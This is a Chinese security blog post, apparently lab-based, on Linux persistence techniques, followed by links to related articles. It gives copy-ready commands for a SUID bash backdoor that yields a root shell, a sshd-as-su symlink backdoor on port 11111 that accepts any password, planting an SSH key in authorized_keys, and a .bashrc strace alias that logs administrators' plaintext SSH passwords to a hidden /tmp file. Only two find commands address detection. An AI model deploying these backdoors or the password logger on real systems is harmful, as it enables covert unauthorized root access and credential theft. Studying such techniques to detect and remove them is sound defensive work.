文中主要讲解Linux权限维持中的小技巧,通过了解掌握SUID后门、SSH后门等方式,更快知晓权限维持作用。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

SUID后门及SSH后门权限维持

SUID后门的必要条件:

  • 首先SUID权限仅对二进制程序有效;
  • 执行者必须对这个程序有可执行的权限;
  • 本权限仅在执行该程序的过程中有效;
  • 在执行过程中执行者将具有该程序拥有者的权限

我们需要创建一个SUID文件:

cp /bin/bash /tmp/.long #将bash命令cp到.long二进制程序中
chmod 4755 /tmp/.long #赋予SUID文件的权限


执行这个SUID后门文件:

./.long -p #主要bash2 针对suid有一些防护,所以需要加上-p参数来获取一个root的shell。


日常防守方也可以通过检测suid文件,来发现是否有后门:

find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null

SSH后门:

1、SSH软连接后门

描述:
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测uid 0 即可认证成功,这样就导致了可以使用任意密码登录:

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=11111

当执行命令后,我们就可以通过与软件的端口号对应进行登陆,且输入任意密码即可。

ssh root@192.168.45.137 -p11111


在history里面可以查看到命令:

2、SSH密钥登陆:

当我们具有写入权限的时候,我们同样可以自行生成密钥。

ssh-keygen -t rsa //生成公钥
cat id_rsa.pub > authorized_keys //将id_rsa.pub内容放到目标.ssh/authorized_keys里


同样可以使用md5来查看值是否一致:

ssh -i id_rsa root@192.168.45.137 #使用密钥进行登陆

3、 SSH Keylogger记录密码

当前系统如果存在strace的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。在当前用户的 .bashrc 里新建一条 alias ,这样可以抓取他登陆其他机器的 ssh 密码。
在root目录下的.bashrc 文件加入:

alias ssh='strace -o /tmp/.sshpwd-`date '+%Y-%m-%d'`.log -e read,write,connect -s2048 ssh'


这条命令的意思就是:首先alias是取一个叫ssh的别名,然后将登陆的密码日志就通过strace这个工具记录到tmp这个目录下。
%Y-%m-%d%H:%M%S 是年月日时分秒
保存过后,使用命令生效。

source .bashrc


所以当我们执行ssh,通过root去连接的时候,就会将密码记录到日志里。

grep -A 9 'password' .sshpwd-2022-01-0121\:31\:42.log #通过命令提取查看


如果系统里面没有strace这个工具,需要去安装,否则无法使用。

Linux权限维持之suid后门、ssh后门相关推荐

  1. linux应用程序设置粘滞位,linux 权限设置和SUID,SGID以及粘滞位

    我们知道文件的权限可以用三个八进制数字表示.其实文件的权限应该用四个八进制来表示,不过用 ls -l 命令时,只显示三个罢了.那个没有显示的八进制数字其实是第一个,它用来设定一些特殊权限.这个八进制数 ...

  2. Linux权限维持—后门篇

    目录 前言 rookit后门 PAM后门 ssh公私钥免密登录 添加linux账户 计划任务 openssh后门万能密码 前言 上面我们讲了windows权限维持的方法 -> Windows权限 ...

  3. 服务器有木马后门如何查找SSH后门

    关于SSH后门木马查杀,那SSH协议其实它是一个加密的网络传输协议,通常咱们使用它作为Linux管理使用,那它用来传输命令界面和远程执行命令,也就是咱们现在看到的这个界面,通常计算机被入侵之后,如果这 ...

  4. Linux权限管理(suid euid)

    摘自:http://elsila.blog.163.com/blog/static/173197158201241104049660/ real user ID (uid): 实际用户ID,指的是进程 ...

  5. Linux权限“suid”与“guid”设置

    1.什么是suid和guid suid: 这是一种特殊权限,设置了suid的脚本文件,在其他用户执行该脚本时,此用户的权限是该脚本文件属主的权限. guid: 设置了guid的脚本文件,执行此脚本文件 ...

  6. Linux创建新用户并设置SSH登录权限及证书登录

    创建用户,若登录root用户则无需使用sudo,-m会直接在/home下创建该用户名的工作空间 $ sudo useradd -m <username> 设置密码,输入命令后,按照提示设置 ...

  7. linux实验总结及心得_安全实验室 | 内网渗透—Linux权限维持技巧总结

    在上一篇文章中我们介绍了内网渗透中Windows环境下进行权限维持(点击阅读)的方式,本期我们将视角集中在Linux系统中继续对内网渗透中的权限维持方式进行探索.Linux也是在内网渗透中很常见的操作 ...

  8. 内网渗透-Linux权限维持

    Linux权限维持 文章目录 Linux权限维持 前言 ssh后门 Setuid and Setgid Linux隐藏技术 后记 前言 前面讲解了window中的权限维持的方法,本期给大家讲解一下Li ...

  9. 【内网安全】——Linux权限维持

    作者名:白昼安全 主页面链接: 主页传送门 创作初心: 以后赚大钱 座右铭: 不要让时代的悲哀成为你的悲哀 专研方向: web安全,后渗透技术 每日鸡汤: 钱至少对于现在的我来说,的确是万能的 在红队 ...

最新文章

  1. 成功爬取-CVE-2018-15982漏洞复现【博客园】【1】
  2. boost::serialization模块测试 auto_ptr 序列化的测试程序
  3. python中ln怎么表示_Python math库 ln(x)运算的实现及原理
  4. linux命令栏下访问oracle,linux下远程连接oracle数据库
  5. 用mescroll实现无限上拉增加数据,下拉刷新数据 (学习笔记)
  6. 参考资料:图片效果展示
  7. ubantu删除文件(夹)
  8. FireFox2和FireFox3共存解决方案(附完整图解)
  9. python爬取58同城房子发布的手机号码_python爬虫:爬取58同城武汉地区商品房信息(最后碰到了58同城的反爬机制,吓得我不敢说话···)...
  10. 【工具】adb下载安装及基本操作
  11. 极简Markdown程序员简历模板
  12. 彩色证件照片常用的红色、蓝色背景颜色值
  13. 从草根到百万年薪程序员的十年风雨之路,小白也能看明白
  14. 国内各运营商(ISP)IP段表
  15. 音视频开发系列(7):完成本地摄像头直播推流
  16. 【HTML系列】之HTML字体颜色设置
  17. 基于51单片机的故障灯检测
  18. 小程序短视频项目———视频展示页面开发
  19. 学习Python:StringIO与cStringIO
  20. 广东工业大学acm校赛总结(基础差的人的自我觉悟)

热门文章

  1. 如何设置IIS中的HTTPS服务
  2. 力扣1845——座位预约管理系统(优先队列)
  3. IDEA 报 Error:java: java.lang.StackOverflowError
  4. JAVA输出菱形并使用绝对值_利用for循环打印实心棱形和空心棱形
  5. 抖音评论如何放置连接_抖音如何导流到微信?学会这些,每个账号都可以用!...
  6. ArcMap 镶嵌数据集基本使用方法
  7. helm create configmap error: ConfigMap in version “v1“ cannot be handled as a ConfigMap
  8. python 隐藏进程_运行进程隐藏的Python
  9. 上课笔记--台大政治学基础之美国选举制度与意识形态
  10. 模糊数学——模糊集合